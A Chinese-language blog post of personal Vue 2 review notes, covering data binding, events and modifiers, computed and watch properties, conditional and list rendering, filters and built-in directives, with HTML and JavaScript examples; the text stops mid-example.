• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
在赶路的我
博客园    首页    新随笔    联系   管理    订阅  订阅

Vue2

Vue2复习

初识Vue

vue概述:vue可以分为开发版和生产版。开发版会有错误提示;生产版没有错误提示。在项目发布的时候将开发版变成生产版。

定义Vue实例

//方式一:
new Vue({
    //el表示vue挂载的容器,通过css选择器来确认挂载容器,如class,id
    //el也可以这么写  el: document.getElementById("root")
    el: '#root'
    //没有组件化的情况下,data可以写成对象式,否则必须写成函数式
    //data中的数据都会储存在vue实例上,被封装成了_data属性,只要是vue实例身上的东西都可以使用{{}}	   来使用
    //vue实例中的函数不能写成箭头函数,否则this指向的是window对象
    data: {
		username: '陈浪涛',
    	password: '123'
	}    
})
//方式二:
const vm = new Vue({
    el: '#root',
    data: {
        useranme: '陈浪涛',
        password: '123'
    }
})

使用Vue实例:

<div id="root">
    <h1>
        {{username}}
    </h1>
</div>
<!--使用{{ }}来读取vue实例中的值-->
<!-- {{}}中写的是js表单式,不是js语句 -->
<!--
js表达式:指有返回值的。如方法,判断,基础的计算表达式
js语句:如if,while等
-->

想要了解vue可以打印vue的实例来看

数据绑定

vue的数据绑定主要有v-bind和v-model来实现

  • v-bind:value=""或者:value="" v-bind指令的数据绑定是单向的,是data流向html。如v-bind:src=""或者:srcd=""
  • v-model:value=""或者v-model="" v-model指令的数据绑定是双向的,data和html相互影响,局限在于v-model指令只能用于有value属性的html标签上。如表单元素:input

MVVM架构

M:指数据层
V:指数据展示层
MV:是数据层和数据展示层的桥梁,vue就起这样的作用(vue也是参考MVVM架构来实现的)

案例

<div class="root">
    <p>v-model双向绑定</p>
    <input v-model="name" type="text" />
    <div>{{name}}</div>
    <div>{{person.name}}</div>
</div>
<script>
    new Vue({
        el:'.root',
        data:function(){
            return{
                // 对于同名属性可以采用层级来解决
                name:'陈浪涛',
                person:{
                    name:'陈浪涛2'
                }
            }
        }
    })
</script>

数据代理

事件

vue中的事件绑定

  • 使用v-on指令来绑定时间对象,也可以简写:@click=""

  • <button v-on:click="test1">vuewithout参数事件</button>
    <button @click="test1">vuewithout参数事件</button>
    
  • <button v-on:click="test2($event,12)">vuewith参数事件</button>
    <!--如何获取时间对象-->
    <!--在事件处理函数参数中用$event来占位,否则会被事件处理函数的参数覆盖掉-->
    
  • 案例

    • <div id="root">
          <button v-on:click="test1">vuewithout参数事件</button>
          <button v-on:click="test2($event,12)">vuewith参数事件</button>
      </div>
      <script>
          new Vue({
              el:'#root',
              data:{},
              //事件回调函数要定义在methods中,回调函数不能用箭头函数,否则this指的是window,而			不是vue实例对象
              methods:{
                  test1(event){
                      //target用来获取事件点击的按钮对象
                      console.log(event.target.innerText)
                  },
                  test2(event,a){
                      console.log(event,a)
                  }
              }
          })
      </script>
      

vue中键盘事件

  • 键盘事件keyup和keydown,配合键盘的名字(event.key)和键盘的别名(vue中的键盘别名)和键盘值(event.keyCode)。但是配合键盘值来使用不推荐。

  • vue中的键盘别名

    • vue现有的别名键
      1.enter:回车
      2.delete:删除或者退格
      3.esc:
      4.space:
      5.tab:(tab需要配合keydown事件使用,原因是tab默认是键盘按下就执行,默认功能就是使光标失去焦			点)
      6.up:
      7.down:
      8.left:
      9.right:
      
      对于vue中没有别名的键,可以自定义别名键
      Vue.config.keyCodes.自定义键名=键码
      
  • 使用默认的键盘名称

    • 对于特殊的情况:如果是两个单词组成的键名,要用-分开且单词都要小写。如CapsLock,需要写成caps-lock
  • 对于键盘值可以通过键盘事件对象获取来使用

  • 对于系统修饰键的用法

    • 系统修饰键(用法特殊):ctrl,alt,meta,shift
      配合keyup使用:配合keyup使用的情况下,在按下修饰键的同时还要按下其他的键,事件才可以生效
      			 如@keyup.ctrl.y=""
      配合keydown使用:不用配合其他的键使用即可触发事件
      
  • 案例:

    • <div id="root">
          <input type="text" @keyup.caps-lock="keyborder" />
      	<input type="text" @keyup.20="keyborder"/>
      	<input type="text" @keyup.w="keyborder"/>
      	<input type="text" @keyup.mykey="keyborder"/>
      </div>
      <script>
      	Vue.config.keyCodes.mykey=20
          new Vue({
              el:'#root',
              data:{},
              methods:{
                  keyborder(event){
                      console.log(event.key,event.keyCode)
                  }
              }
          })
      </script>
      

vue中的事件修饰符

1.prevent:可以阻止事件的默认行为,如a标签,当添加了click事件和href属性后,在执行网click处理函数后,			会默认跳页面,prevent可以阻止这种默认行为
2.stop:阻止冒泡事件(html的事件处理默认从最外面开始捕获事件,再从最里面开始冒泡,冒泡即可以执行事件)
3.once:事件只会执行一次
4.capture:可以使事件在捕获阶段就可以执行事件且不冒泡
5.self:只有event.target是当前对象时候才会被执行,可以做到只有点击什么执行什么,不会受到冒泡的影响
6.passive:事件的默认行为会立即被执行,不会等到回调函数执行完成之后在触发默认行为(在移动端可以用到)
注意点:事件的修饰符可以组合起来写,如@click.prevent.stop=""
  • 案例

    • <div id="root">
          <!-- 1.prevent 示例-->
          <a href="http://www.baidu.com/" @click="alertmesg">prevent修饰符</a>
          <br>
          <a href="http://www.baidu.com/" @click.prevent="alertmesg">prevent修饰符(阻止)</a>
          <hr>
          <!-- 2.stop 示例 -->
          <div @click="stop2" style="width: 300px;height: 100px;background-color: aqua;">
              <button @click.stop="stop1">阻止冒泡事件</button>
          </div>
          <hr>
          <!-- 3.once 示例 -->
          <button @click.once="once">我只会执行一次</button>
          <hr>
          <!-- 4.capture -->
          <div @click.capture="stop2" style="width: 300px;height: 100px;background-color: aqua;">
              <button @click="stop1">阻止冒泡事件</button>
          </div>
          <hr>
          <!-- 5.self -->
          <div @click.self="stop2" style="width: 300px;height: 100px;background-color: aqua;">
              <button @click="stop1">阻止冒泡事件</button>
          </div>
          <!-- 6.passive -->
          <!-- 这里scroll为滚动事件:检测的是滚动条,事件与滚动一起执行,而wheel(检测的是鼠标的滚动轮)则是先执行完回调函数才滚动,所以加了passive之后就可以象scroll一样 -->
          <ul @wheel.passive="scroll" style="height: 200px;width: 300px;background-color: aqua;overflow: auto;">
              <li>1</li>
              <li>2</li>
              <li>3</li>
              <li>4</li>
          </ul>
      </div>
      <script>
          new Vue({
              el:'#root',
              data:{},
              methods:{
                  alertmesg(){
                      let flag = confirm("prevent修饰符")      
                      },
                  stop1(){
                      console.log("button")
                  },
                  stop2(){
                      console.log("div")
                  },
                  once(){
                      alert('我只会执行一次')
                  },
                  scroll(){
                      for(let i=0;i<=10000;i++){
                          console.log(i)
                      }
                  }
              }
          })
      </script>
      

计算属性

  • 在vue实例中的computed对象中定义

计算属性的简介

计算属性:计算属性实际上是一个包含get和set函数的对象,要用的属性不存在,而是通过计算得出来的。一共有两个方法get和set
原理:计算属性底层使用到了Object.defineproperty方法提供的setter和getter方法
get函数什么时候执行:1.初始化数据的时候2.当get中计算属性所依赖的值改变时候
set函数什么用:当计算属性需要改变的时候必须写set方法

注意:计算属性最终都会出现到vm实例上,可以直接读取

与method相比的优势

  • 同一个功能method和计算属性都可以完成,但是计算属性相比method内部有缓存机制,效率更高,调试方便。

计算属性的全写示例

<div id="app">

    
    FirstName:<input v-model="firstname" type="text"><br>
    LastName:  <input v-model="lastname" type="text"><br>

    AllName: <div>{{AllName}}</div>
</div>



<script>

 const vm=   new Vue({
        el:'#app',
        data:{
            firstname:'',
            lastname:''
        },
        computed:{
            
            AllName:{
                //完整的计算属性是一个对象,里面包含了get和set方法,get在初始化时候被调用,如果模板中有多个地方使用到了AllName这个计算属性,只会在第一个地方调用
                //get方法,之后会存在缓存,供其他地方使用,提高效率。
                //set方法是在计算属性被修改时候被调用
                get(){
                    console.log("get方法被调用了")
                    return this.firstname+'-'+ this.lastname;
                },
                set(val){
                    //val是计算属性
                    this.firstname=val.split('-')[0]
                    this.lastname=val.split('-')[1]
                    console.log("set方法被调用了")
                }
            }
        }
    })
</script>

简写

如果计算属性只用到get方法,没有用到set方法,可以简写成一个函数
  • 示例

    • <div id="root">
          FirstName:<input v-model="firstname" type="text"><br>
          LastName:  <input v-model="lastname" type="text"><br>
      
          AllName: <div>{{AllName}}</div>
      
      
      </div>
      
      
      <script>
          new Vue({
              el:'#root',
              data:{
                  firstname:'',
                  lastname:''
              },
              computed:{
                  //计算属性的简写形式(将AllName改成方法的形式:改方法就是get方法)(简写的前提:不对计算属性做修改)
                  AllName(){
                      return this.firstname+'-'+this.lastname
      
                  }
              }
          })
      </script>
      

监视属性

  • 在vue实例中的watch对象中定义

监视属性的简介

监视属性是一个对象,对象包含了两个属性和一个回调函数,监视的属性必须存在
immediage:是否在组件初始化的时候调用一次
deep:是否开启深度监视,vue默认只开启了一层的监视,如果需要深度监视需要开启deep:true
handler(newvalue,oldvalue):当监视的属性发生变化的时候调用该回调函数处理,newvalue代表监视属性的新值,oldvalue代表改变之前的值

监视属性全写示例

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>

        <script src="../vue.js"></script>

    </head>
    <body>

        <!-- 
监视属性watch:
1.监视属性监视的属性要存在,当属性的值改变时,会自动调用handler()回调函数做出相关的操作
2.监视属性必须存在,才能监视
3.监视属性有两种方法:
1.在vue实例中定义
2.借助vm实例对象来定义
-->
        <div id="root">
            <span>今天天气为{{weather}}</span>
            <button @click="change">切换天气</button>
        </div>
        
        <script>
            const vm =   new Vue({
                el:'#root',
                data:{
                    weather:'',
                    flag:true
                },
                methods:{
                    change(){
                        this.flag=!this.flag
                    }
                },
                //当然除了在vue实例中定义watch外还可以在外面定义
                watch:{
                    //watch的全写形式
                    //对flag(也是对象式的)进行监视如果为true天气为晴天,否则为阴天
                    flag:{
                        //在初始化的是够就调用一次handler方法
                        immediate:true,
                        deep:true,
                        //handler方法(当监视的属性发生改变时调用)(该方法会接收两个参数为监视属性的改变的值和原来的值)
                        handler(newval,oldval){
                            console.log(newval,oldval)
                            //监视flag的变化来改变天气
                            this.weather =  newval?'晴天':'阴天'
                        }
                    }
                }
            })
            //利用vue实例vm在外面定义监视属性(这里注意用这种方式来定义的话,要用单引号将属性包裹起来)
            //其实在实例里面定义的话单引号可以省略的
            // vm.$watch('flag',{
            //     immediage:true,
            //     handler(newval,oldval){
            //         this.weather=newval?'晴天':'阴天'
            //     }

            // })

        </script>
    </body>
</html>

监视属性简写(前提是业务不需要使用immediage和deep属性)

  • 简写形式为一个回调方法,方法名为需要监视的属性名
<!DOCTYPE html>
<html lang="en">

    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>

        <script src="../vue.js"></script>

    </head>

    <body>




        <div id="root">
            <button @click="change">改变person的属性值</button>
        </div>

        <script>
            const vm = new Vue({
                el: '#root',
                data: {
                    //对于这种多层级的对象,如果要想实现id变了,或者child中的值变了,就触发person监视属性的回调函数handler,就要用到person的深度监视
                    //因为watch监视属性默认只开启了一层的监视深度(但vue默认是可以深度监视的)
                    person: {
                        id: '',
                        name: '',
                        child: {
                            name: ''
                        }
                    },
                    name:''
                },
                methods: {
                    change() {
                        this.name="clt"
                    }
                },
                watch: {
                    //当我们不需要immediate和deep时,就可以简写
                    name(newval,oldval){
                        console.log(newval)
                        console.log(oldval)
                    }


                }

            })



        </script>
    </body>

</html>

监视属性和计算属性的区别

  1. 计算属性能够完成的业务监视属性同样也能完成,但是监视属性能够完成的业务计算属性不一定能够完成(比如监视属性可以做异步任务)

    • <!DOCTYPE html>
      <html lang="en">
          <head>
              <meta charset="UTF-8">
              <meta http-equiv="X-UA-Compatible" content="IE=edge">
              <meta name="viewport" content="width=device-width, initial-scale=1.0">
              <title>Document</title>
      
              <script src="../vue.js"></script>
          </head>
          <body>
              <!-- 
      计算属性和监视属性的区别:1.计算属性能够完成的任务监视属性一样可以完成,但是监视属性能够完成的任务监视属性就不一定能够完成(比如:监视属性可以做异步任务)
      两个小原则:1.所有被vue管理的函数要写成普通函数,让this指向的是vue实例。2.所有不被vue管理的函数采用箭头函数,让this指向vue实例
      (如定时器的回调函数,ajax的回调函数,promise的回调函数)
      
      
      -->
      
      
      
              <div id="root">
                  firstname: <input v-model="firstname" type="text">
                  lastname: <input v-model="lastname" type="text">
                  计算属性: <span>{{Allname}}</span>
                  监测属性:<span>{{allname}}</span>
      
      
              </div>
      
      
      
              <script>
      
                  new Vue({
                      el:'#root',
                      data:{
                          firstname:'',
                          lastname:'',
                          allname:''
                      },
                      computed:{
                          //计算属性没法写异步操作
                          Allname(){
                              return this.firstname +'-'+this.lastname
                          }
                      },
                      watch:{
                          //在这里对firstname进行监视,并且监视过后一秒才更新allname(一步操作)
                          firstname(){
                              setTimeout(()=>{
                                  this.allname=this.firstname+'-'+this.lastname
                              },1000)
                          }
                      }
                  })
      
              </script>
      
      
          </body>
      </html>
      
  2. 计算属性的值是自己定义的,且可以像data中的数据一样被直接调用,而监视属性的值是data中已经定义的,对data中现有的属性进行监视

动态绑定class属性

  • 为元素动态绑定class属性(前提是class样式已经定义)

字符串的形式绑定

数组字符串的形式绑定

对象的形式绑定

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
        <script src="../vue.js"></script>

        <style>
            /* 设置大小的 */
            .demo1{
                width: 200px;
                height:200px; 
            }
            /* 设置背景颜色的 */
            .demo2{
                background-color: pink;
            }
            /* 设置边框的 */
            .demo3{
                border: 1px solid red;
            }
            /* 设置边框圆角的 */
            .demo4{
                border-radius: 20px;
            }
        </style>


    </head>
    <body>
        <div id="root">
            <div class="demo1" :class="change">
            </div>
            <div class="demo1" :class="classarr">
            </div>
            <div class="demo1" :class="classperson">
            </div>
        </div>

        <script>
            new Vue({
                el:'#root',
                data:{
                    //字符串绑定class,适用于class个数已知,而名字不知道
                    change:'demo2',
                    //数组绑定class,适用于class未知,名字未知
                    classarr:['demo2','demo3','demo4'],
                    //对象绑定class,适用于数量class和名字已知道,但使用的数量未知
                    //可以通过改变布尔值来指定用不用
                    classperson:{'demo2':true,'demo3':true}
                }
            }) 
        </script>


    </body>
</html>

动态绑定style属性

对象的形式绑定

宿主对象的形式绑定

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>

    <style>
        /* 设置大小的 */
        .demo1{
            width: 200px;
            height:200px; 
        }
        /* 设置背景颜色的 */
        .demo2{
            background-color: pink;
        }
        /* 设置边框的 */
        .demo3{
            border: 1px solid red;
        }
        /* 设置边框圆角的 */
        .demo4{
            border-radius: 20px;
        }


    </style>


</head>
<body>
    <div id="root">

        <div class="demo1" :style="person">

        </div>

        <div class="demo1" :style="personarr">

        </div>

    </div>

    <script>
        new Vue({
        el:'#root',
        data:{
           //对象绑定:style:="{backgroundColor:'red'}"在这里注意了,如果css样式中有-存在,则将字母改成大写
           person:{backgroundColor:'red'},
           //数组绑定
           personarr:[{backgroundColor:'blue',border:'1px solid black'},{borderRadius:'20px'}]
        }
    }) 
    </script>
</body>
</html>

条件渲染

  • 条件渲染使用的是v-if和v-show两个指令来判断布尔值来实现的,如果需要在多个组件中只显示一个,v-if可以和v-else-if和else连用
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

    <script src="../vue.js"></script>

    <style>

        .demo1{
            width: 200px;
            height: 200px;
            border: 1px solid black;
        }

    </style>

</head>
<body>

<!-- 
    条件渲染的两种方法:v-if,v-show
    1.v-if:
            1.适用于不频繁在显现和不显现的状态更换
            2.特点是,直接将dom节点移除掉
            3.可以和v-else-if和else连用,但是,结构不能被打断
    2.v-show:
            1.适用于频繁更换状态
            2.不移除dom节点,底层原理是使用了display:none

    3.注意点:使用v-if,不一定能获取到dom节点,但是,使用v-show,一定可以获取到dom节点

 -->


    <div id="root">
        <div class="demo1" v-show="flag"></div>

       <button @click="change">(v-if)点我触发条件渲染</button>
       <button @click="change1">(v-show)触发条件渲染</button>

       <button @click="add">点我自增</button>

        <div v-if="a===1">等于一显示</div>
        <div v-else-if="a===2">等于二显示</div>
        <div else="a===3">等于三显示</div>
    </div>

    <script>
        new Vue({
            el:'#root',
            data:{
                flag:true,
                a:0,
            },
            methods:{
                change(){
                    this.flag=!this.flag
                },
                change1(){
                    this.flag=!this.flag
                },
                add(){
                    this.a++
                }
            }
        })


    </script>

    
</body>
</html>

列表渲染

  • 使用v-for进行列表数据渲染,对象的属性数据渲染,字符串的数据渲染,数字的遍历
  • v-for指令可以与v-show指令一起使用,但是建议和v-if一起使用
    • v-for在早期是可以和v-if一起使用的,在vue2.x中同时出现会有红色波浪线提示不能一起使用,因为v-for的优先级大于v-if,在循环元素时,每个元素都要进行v-if判断,但是最终显示的元素太少造成资源浪费,所以不建议一起使用
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

    <script src="../vue.js"></script>

</head>
<body>


    <!-- 
        v-for遍历:
                v-for="(p,index) in person"   :key="p.id"(这里也可以写index,只不过有时候会出问题)
                用处:可以遍历数组,对象,字符串,指定的次数

     -->

<!-- 这里的in可以用of代替 -->
    <div id="root">

        <ul>
            <!-- 在这里p指的是每个对象,index指的是数组的索引,这里遍历的时候最好指明key值,最好是数据中自带的id  -->
            <li v-for="(p,index) in personarr" :key="p.id">{{p.id}}-{{p.name}}-{{p.age}}</li>
        </ul>

        <ul>
            <li v-for="(p,index) in person" :key="index">{{p}}</li>
        </ul>

        <ul>
            <li v-for="(char,index) in str" :key="index">{{char}}</li>
        </ul>

        <!-- 在这里遍历数值 -->
       <ul>
           <li v-for="(i,index) in 10">{{i}}</li>
       </ul>

    </div>

    <script>

        new Vue({
            el:'#root',
            data:{
                //使用v-for渲染数组
                personarr:[{'id':'1','name':'小明','age':'21岁'},
                            {'id':'2','name':'小红','age':'22岁'},
                        {'id':'3','name':'小美','age':'22'}],
                //这里遍历对象
                person:{
                    'id':'1',
                    'name':'陈浪涛',
                    'age':'21岁'
                },
                //这里遍历字符串
                str:'Hello,World!!!',
            }
        })

    </script>
    
</body>
</html>

key的作用与原理

  • key主要是用来在数据遍历的时候,为每一个遍历出来的数据做一个标识,用于在后期数据变化的时候新旧虚拟dom的匹配对比
  • 通常情况下我们使用的是每一条数据的提供的唯一标识符作为index的标识符,可以避免在数据的种种变化中产生数据的混乱显示(比如每一条数据中存在想imput的元素),如果对于遍历出来的数据只做数据的展示渲染,可以使用默认的index作为标识符。
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>
</head>
<body>

    <!-- 
        面试题:react,vue中的key有什么作用?(key的内部原理)
        1.虚拟dom中key的作用:
            key是虚拟dom对象的标志,当数据发生变化时,Vue会根据新数据生成新的虚拟dom,
            随后vue进行新虚拟dom和旧虚拟dom的差异对比。
        2对比规则:
            (1).旧的虚拟dom中找到了与新的虚拟dom相同的key:
                1.若虚拟dom中的内容没变,直接使用之前的真实dom
                2.若虚拟dom中的内容变了,则直接生成新的真实dom,随后替换掉模板中的真实dom
            (2).旧的虚拟dom中没有找到与新虚拟dom相同的key
                 则创建新的真实dom,并在模板中显示
        3.用index(指的是遍历的索引)可能会发生的问题:
            1. 若数据进行:逆序添加,逆序删除等破坏顺序的操作:会产生没有必要的真实dom更新,界面没有问题,但效率低下
            2. 如果遍历结构中含有输入类的input dom:会产生错误的dom更新
        4.开发中如何选择key?
            1.最好使用每条数据的唯一标识作为key,比如id,手机号,身份证号,学号等唯一标识
            2.如果遍历的数据中不存在对数据的逆序添加(在开头添加数据), 逆序删除等破坏性的操作,仅仅用于展示数据,
              使用index作为key是没有问题的
                 
     -->

    <div id="root">
        <!-- 这里演示一个用遍历的索引作为key的问题(逆序插值) -->
        <ul>  
            <li v-for="(p,index) in personarr" :key="index">{{p.id}}-{{p.name}}--{{p.age}}<input type="text"></li>
        </ul>
        <!-- 当我在使用vm实例对象在控制台在头插入一个input的时候,原来的input中的值会发生错位,因为vue用diff算法 -->
        <img src="./123.JPG">
    </div>

    <script>
      const vm = new Vue({
            el:'#root',
            data:{
                personarr:[{'id':'1','name':'小明','age':'21岁'},
                            {'id':'2','name':'小红','age':'22岁'},
                        {'id':'3','name':'小美','age':'22'}]
            }
        })
    </script>
    
</body>
</html>

列表过滤

  • 本质是对于过滤的条件数据的变化进行相对应的处理

使用计算属性来完成列表过滤

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    <script src="../vue.js"></script>
    <body>

        <div id="root">
            <input type="text" v-model="serchkey" placeholder="请输入过滤条件">
            <ul>
                <h1>人员列表</h1>
                <li v-for="(person,index) in filpersonarr" :key="person.personid">{{person.personid}}-{{person.name}}-{{person.sex}}</li>
            </ul>


        </div>


        <script>
            new Vue({
                el:'#root',
                data:{
                    personarr:[{'personid':'1','name':'陈浪涛','sex':'男'},
                               {'personid':'2','name':'陈涛','sex':'男'},
                               {'personid':'3','name':'周文涛','sex':'男'}],
                    serchkey:''
                },
                computed:{
                    filpersonarr(){
                        const arr = this.personarr.filter((person)=>{
                            return person.name.indexOf(this.serchkey)!==-1
                        })

                        return arr



                    }

                }



            })
        </script>



    </body>
</html>

使用监视属性来完成列表过滤

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    <script src="../vue.js"></script>
    <body>

        <div id="root">
            <input type="text" v-model="serchkey" placeholder="请输入过滤条件">
            <ul>
                <h1>人员列表</h1>
                <li v-for="(person,index) in filpersonarr" :key="person.personid">{{person.personid}}-{{person.name}}-{{person.sex}}</li>
            </ul>


        </div>


        <script>
            new Vue({
                el:'#root',
                data:{
                    personarr:[{'personid':'1','name':'陈浪涛','sex':'男'},
                               {'personid':'2','name':'陈涛','sex':'男'},
                               {'personid':'3','name':'周文涛','sex':'男'}],
                    filpersonarr:[],
                    serchkey:''
                },
                watch:{
                    // serchkey(newval){
                    //     this.filpersonarr = this.personarr.filter((person)=>{
                    //         return person.name.indexOf(newval)!==-1
                    //     })
                    // }

                    serchkey:{
                        immediate:true,
                        handler(newval){
                            setTimeout(()=>{
                                this.filpersonarr=this.personarr.filter((person)=>{
                                    return person.name.indexOf(newval)!==-1
                                })
                            },Math.random()*5000)

                        }
                    }
                }
            })
        </script>



    </body>
</html>

使用计算属性完成带有排序功能的列表过滤

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    <script src="../vue.js"></script>
    <body>

        <div id="root">
            <input type="text" v-model="serchkey" placeholder="请输入过滤条件">
            <ul>
                <h1>人员列表</h1>
                <button @click="key1=2">升序</button>
                <button @click="key1=1">降序</button>
                <button @click="key1=0">原序</button>
                <li v-for="(person,index) in filpersonarr" :key="person.personid">{{person.personid}}-{{person.name}}-{{person.sex}}</li>
            </ul>


        </div>


        <script>
            new Vue({
                el:'#root',
                data:{
                    personarr:[{'personid':'1','name':'陈浪涛','sex':'男'},
                               {'personid':'2','name':'陈涛','sex':'男'},
                               {'personid':'3','name':'周文涛','sex':'男'}],
                    serchkey:'',
                    key1:0
                },
                computed:{
                    filpersonarr(){

                        console.log(13)
                        const arr = this.personarr.filter((person)=>{
                            return person.name.indexOf(this.serchkey)!==-1
                        })

                        if(this.key1){
                            this.key1===1?arr.sort((a,b)=>{
                                return b.personid-a.personid
                            }):arr.sort((a,b)=>{
                                return a.personid-b.personid
                            })
                        }

                        return arr



                    }

                }



            })
        </script>



    </body>
</html>

vue数据更新时候的一个问题

数据监测原理

vue中的set方法

vue数据监测原理

vue数据监测总结

收集表单数据

  • 展示vue使用v-model指令搜集表单中的数据
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>
</head>
<body>
    <div id="root">
        <ul>
            <li>
                账户:<input v-model="userinfo.username" type="text">
            </li>
            <li>
                密码:<input v-model="userinfo.passwd" type="text">
            </li>
            <li>
                性别:
                男<input v-model="userinfo.sex"  value="male" type="radio"  name="sex">
                女<input v-model="userinfo.sex" value="female" type="radio" name="sex">
            </li>
            <li>
                <!-- 在这里需要注意的是
                有一个修饰符可以将用户输入的值自动在前端转换成数字 
                通常number属性和vue提供的v-model.number一起使用-->
                年龄:
                <input v-model.number="userinfo.age" type="number">
            </li>
            <li>
                <!-- 在这里需要注意的是type为checkbox,如果接收的数据类型不是数组的话
                     传入的值将是true或者false(当然也要指定value属性) -->
                爱好:
                抽烟<input v-model="userinfo.hobbys" type="checkbox" value="抽烟">
                喝酒<input v-model="userinfo.hobbys" type="checkbox" value="喝酒">
                敲代码<input v-model="userinfo.hobbys" type="checkbox" value="敲代码">
            </li>
            <li>
                所在的城市:
                <select v-model="userinfo.city">
                    <option  value="">请选择城市</option>
                    <option  value="biejie">毕节</option>
                    <option  value="suzhou">苏州</option>
                    <option  value="jiujiang">九江</option>
                </select>
            </li>
            <li>
                <input v-model="userinfo.isAgree" type="checkbox">
                请阅读<a href="#">《表单提交规则》</a>
            </li>
            <li>
                <button @click="submit">提交</button>
            </li>
        </ul>

    </div>

    <script>
        new Vue({
            el:'#root',
            data:{

                userinfo:{
                    username:'',
                    passwd:'',
                    sex:'',
                    age:'',
                    hobbys:[],
                    city:'',
                    isAgree:''
                }

            },
            methods:{
                submit(){
                    console.log(JSON.stringify(this.userinfo))
                }
            }
        })
    </script>    
</body>
</html>

过滤器

  • 可以在vue实例中的filters对象中配置vue的局部过滤器,当然也可以在vue实例外面通过Vue.filter来配置全局的过滤器,vue过滤器需要使用差值语法来使用,否则报错

局部过滤器和全局过滤器的定义

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>
</head>

<body>

    <div id="root">

        <ul>
            <!-- vue的过滤器分为全局过滤和局部过滤 -->
            <!-- 在这里要给过滤器方法传值,要使用管道符传值 -->
            <!-- 注意filter方法最好是用在插值语法当中,否则报错 -->
            <!-- 且filters分为局部的和全局的,并且filters中的this指向不是vue实例,如果非要使用的话,只能在实例外面定义一个全局变量
                并且在beforeCreate钩子函数中改变this的指向 -->
            <input v-model="key" type="number" placeholder="选择小于几">
            <li>{{number | frontfive}}</li>
            <!-- 一个属性在这里filters方法也是可以有多个的 -->
            <!-- 处理逻辑就是number传入frontfive过滤方法,然后frontfive返回的值作为下一个过滤方法的参数 以此类推-->
            <!-- <li>{{number | frontfive | frontfive2}}</li> -->
        </ul>

    </div>

    <script>
        let vm;

        //全局过滤器,全局过滤器要在实例对象前配置
        //注意如果是全局过滤器只能使用filter一个一个配
        //同样的全局的过滤器中的this也是window
        Vue.filter('frontfive',function(val){
            let newnumber = val.filter((n)=>{
                return n<vm.key
                ;
            }) 
            console.log(this)
            return newnumber
        })

        new Vue({
            el: '#root',
            data: {
                number: [1, 2, 3, 4, 5, 6, 7, 8, 9],
                key: ''
            },
            // //在这里filters实际上就是方法过滤器
            // //用法:在插值语法和在指令中使用,但是指令v-model=""不支持过滤器方法

            // filters:{
            //     //过滤掉number中的小于指定值的数值
            //     //过滤器方法默认有一个参数
            //     frontfive(val){
            //         let newnumber = val.filter((n)=>{ 
            //             return n<vm.key
            //         })
            //         return newnumber
            //     },
            //     //对frontfive返回的数据只保留最后一个
            //     frontfive2(val){
            //         let newnumber2 = val.slice(val.length-1,val.length)
            //         return newnumber2
            //     }
            // },
            //利用全局变量改变this的指向
            beforeCreate(){
                vm = this
            }
        })

    </script>



</body>

</html>

常用的内置指令

  • v-bind:数据的单向绑定,vue实例到dom元素

  • v-on:事件绑定

  • v-for:数据的遍历

  • v-model:数据的双向绑定

  • v-show:节点的隐藏与显示

  • v-if:同样可以用于节点的隐藏与显示

  • v-else-if:配合v-if使用

  • v-else:配合v-if使用

  • v-pre:被标记的元素不会被vue解析

  • v-html:解析带有html标签的字符串

  • v-text:将元素的值替换为指定的字符串

  • v-once:vue只会在初始化的时候解析一次,以后vue不会在解析被标注的元素

  • v-cloak:在vue解析的时候存在,在vue解析完成后消失,用于解决vue的闪屏问题

  • <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
        <script src="../vue.js"></script>
        <style>
            /* 属性选择器 */
            [v-bloak]{
